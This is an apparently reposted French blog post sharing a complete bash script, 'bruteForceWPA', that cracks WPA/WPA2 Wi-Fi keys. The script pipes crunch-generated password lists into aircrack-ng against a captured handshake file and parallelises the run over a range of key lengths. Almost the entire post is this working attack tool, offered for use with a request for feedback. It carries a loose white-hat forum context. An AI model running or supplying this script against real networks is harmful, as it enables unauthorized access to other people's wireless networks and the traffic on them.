mardi 29 décembre 2015

Script bash pour le crack par force brute des clés WPA/WPA2

Salut, je suis Rodrigue Daniel

Je partage avec vous mon script bash, permettant de faire le crack par force brute sur les clés WPA(ou WPA2) pour un réseau WIFI.
Mon script fait la combinaison de trois programmes : crunch, aircrack-ng, parallel2. En effet une fois que l'on a récupéré le fichier issu du challenge entre un client légitime et le point d'accès ciblé, alors l'on peut utiliser ce script pour lancer une attaque par force brute pour casser une clé WPA(ou WPA2). Voici mon script :

Code:


#!/bin/bash
#
# bruteForceWPA : Script de crack WIFI des clés WPA/WPA2
# Rodrigue Daniel (email : rodrigue_daniel@yahoo.com)
# Mon blog : rodriguedaniel.blogspot.com
# 16/08/2015
# Dépendances : crunch, aircrack-ng, parallel2
# Testé sur Ubuntu et Kali Linux
 
set -u
 
###########################################################################################
# Definitions des variables
mini="" # variable contenant la longueur minimale des mots de passe
maxi="" # variable contenant la longueur maximale des mots de passe
ensCarac="" # variable contenant l'ensemble des caractères à utiler
numEnsCarac="" # variable contenant le numero de l'ensemble des caractères à utiliser
fichierCap="" # variable contenant le fichier .cap à craquer
chaineEssid="" # variable contenant la chaîne essid du point d'accès WIFI
option=""  # variable contenant les options
optionSeul=""  # variable spécifiant le traitement unique de l'option -h ou --help
comSyntOpt="" # variable spécifiant que la combinaison des options a et m est interdite
# Ensemble des caractères à utiliser
format1='1 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ]'
format2='2 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ]'
format3='3 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+= ]'
format41='4 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+=~[]{}|\:;"'
format42="'"
format43='<>,.?/ ]'
 
###########################################################################################
# Debut du script
version="0.2"
 
clear
echo -e "\e[00;31m###########################################################\e[00m"
echo -e "\e[00;31m#                                                        #\e[00m"
echo -e "\e[00;31m#  bruteForceWPA : crack wifi (WPA/WPA2)                  #\e[00m"
echo -e "\e[00;31m#                                                        #\e[00m"
echo -e "\e[00;31m###########################################################\e[00m"
 
# Vérification du mode root
if [[ $EUID -ne 0 ]]; then
        echo -e "\n Erreur : Ce programme doit être éxécuté en root.\n"
        exit 1
fi
 
# Vérification de la présence du programme crunch
which crunch >/dev/null
if [ $? -eq 1 ]; then
        echo -e "\n Erreur : Impossible de trouver le programme crunch, installez-le et rééssayez.\n"
        exit 1
fi
 
# Vérification de la présence du programme aircrack-ng
which aircrack-ng >/dev/null
if [ $? -eq 1 ]; then
        echo -e "\n Erreur : Impossible de trouver le programme aircrack-ng, installez-le et réessayez.\n"
        exit 1
fi
 
# Vérification de la présence du programme parallel et de sa bonne version
which parallel >/dev/null
if [ $? -eq 1 ]; then
        echo -e "\n Erreur : Impossible de trouver le programme parallel, installez-le et réessayez.\n"
        exit 1
fi
 
while getopts ":a:c:f:g:hm:p:-:" option ; do
 if [ "$option" = "-" ] ; then
  case $OPTARG in
  help ) option=h ;;
  #max ) option=g ;;
  #min ) option=p ;;
  * ) echo "$(basename $0): Option inconnue $OPTARG"
      echo -e "Essayer '$0 --help' pour plus d'information.\n"
      option=""
      ;;
  esac
 fi
 case $option in
  h ) echo -e "\nVersion $(basename $0) $version - (C) 2015"
      echo -e "Auteur: Rodrigue Daniel (email : rodrigue_daniel@yahoo.com) \n"
      echo "Syntaxe : $0 [option...]"
      echo -e "\nOptions :"
      echo " -a <chiffre> : Numéro de l'ensemble des caractères ci-dessous à utiliser (par défaut -> 1)."
      echo ""
      echo -ne "\t"
      echo $format1
      echo -ne "\t"
      echo $format2
      echo -ne "\t"
      echo $format3
      echo -ne "\t"
      echo -n $format41
      echo -n $format42
      echo $format43
      echo -e "\t (Par défaut l'option -a est pris en compte)"
      echo -e "\n -c <essid> : Nom essid du point d'accès WIFI (Option Obligatoire)."
      echo " -f <chaine> : Nom du fichier d'extension '.cap' à craquer (Option Obligatoire)."
      echo " -m <chaine> : Ensemble des caractères à saisir manuellement. Ne pas utiliser avec '-a' ."
      echo " -g <entier> : Longueur maximun des mots de passe (par défaut -> 15)."
      echo " -h, --help : Cet écran d'aide."
      echo -e " -p <entier> : Longueur minimun des mots de passe (par défaut -> 5).\n"
      optionSeul="o"
      exit 1
      ;;
  a ) if [ "$optionSeul" != "o" ] ; then
      if [ "$comSyntOpt" = "m" ] ; then
        echo "Erreur de syntaxe: '-a' ne doit pas être utilisée avec '-m'"
        echo -e "Essayer '$0 --help' pour plus d'information.\n"
        exit 1
      else
        numEnsCarac=$OPTARG
        case $numEnsCarac in
                1 ) ensCarac="mixalpha-space";;
                2 ) ensCarac="mixalpha-numeric-space";;
                3 ) ensCarac="mixalpha-numeric-symbol14-space";;
                4 ) ensCarac="mixalpha-numeric-all-space";;
        esac
      fi
    fi
    ;;
  c )if [ "$optionSeul" != "o" ] ; then
      chaineEssid=$OPTARG
    fi
    ;;
  f ) if [ "$optionSeul" != "o" ] ; then
      if [ "${OPTARG##*.}" != "cap" ] ; then
          echo "Nom fichier incorrect"
          echo -e "Essayer '$0 --help' pour plus d'information.\n"
          exit 1
      else
          fichierCap=$OPTARG
      fi
      fi
      ;;
  g ) if [ "$optionSeul" != "o" ] ; then
          maxi=$OPTARG
      fi
      ;;
  m ) if [ "$optionSeul" != "o" ] ; then
      if [ "$numEnsCarac" != "" ] ; then
          echo "Erreur de syntaxe: '-a' ne doit pas être utilisée avec '-m'"
          echo -e "Essayer '$0 --help' pour plus d'information.\n"
          exit 1
      else
          ensCarac=$OPTARG
          comSyntOpt="m" # m -> configuration manuelle de l'ensemble des caractères à utiliser
      fi
      fi
      ;;
  p ) if [ "$optionSeul" != "o" ] ; then
          mini=$OPTARG
      fi
      ;;
  : ) if [ "$optionSeul" != "o" ] ; then
      echo "Argument manquant pour l'option -$OPTARG"
      echo -e "Essayer '$0 --help' pour plus d'information.\n"
      exit 1
      fi
      ;;
  ? ) if [ "$optionSeul" != "o" ] ; then
      echo "$(basename $0): Option inconnue $OPTARG"
      echo -e "Essayer '$0 --help' pour plus d'information.\n"
      exit 1
    fi
    ;;
 esac
done
 
# Exécution du crack de la clé WPA/WPA2
 
i=${mini:-5}
j=${maxi:-15}
 
if [ $i -eq $j ] ; then
        echo "1" > /tmp/temporaire
        echo "$i" >> /tmp/temporaire
else
        while [ $i -le $j ] ; do
                echo "$i" >> /tmp/temporaire
                i=$((i + 1))
        done
fi
 
bruteForce ()
{
 if [ "$numEnsCarac" = "" ] ; then
      ( crunch $1 $1 $ensCarac  2>/dev/null | aircrack-ng $fichierCap -e $chaineEssid -l resCrack -w- ) >/dev/null 2>&1
 else
      ( crunch $1 $1 -f charset.lst $ensCarac  2>/dev/null | aircrack-ng $fichierCap -e $chaineEssid -l resCrack -w- ) >/dev/null 2>&1
 fi
}
 
if [ "$optionSeul" != "o" ] ; then
 if [ "$chaineEssid" = "" ] || [ "$fichierCap" = "" ] ; then
      echo "Les options -c et -f sont obligatoires"
      echo -e "Essayer '$0 --help' pour plus d'information.\n"
      exit 1
 else
      export -f bruteForce
      export numEnsCarac
      export ensCarac
      export fichierCap
      export chaineEssid
      parallel --will-cite --bar -a /tmp/temporaire bruteForce >/dev/null # Parallélisme
      rm /tmp/temporaire
 fi
fi


Vos critiques, vos suggestions seront la bienvenue...
MERCI


from Hackademics : Forum de hacking – hackers white hat – cours de securite informatique, apprendre langage python, tutoriels de reverse engineering http://ift.tt/1mQ5DAK
via IFTTT

Aucun commentaire:

Enregistrer un commentaire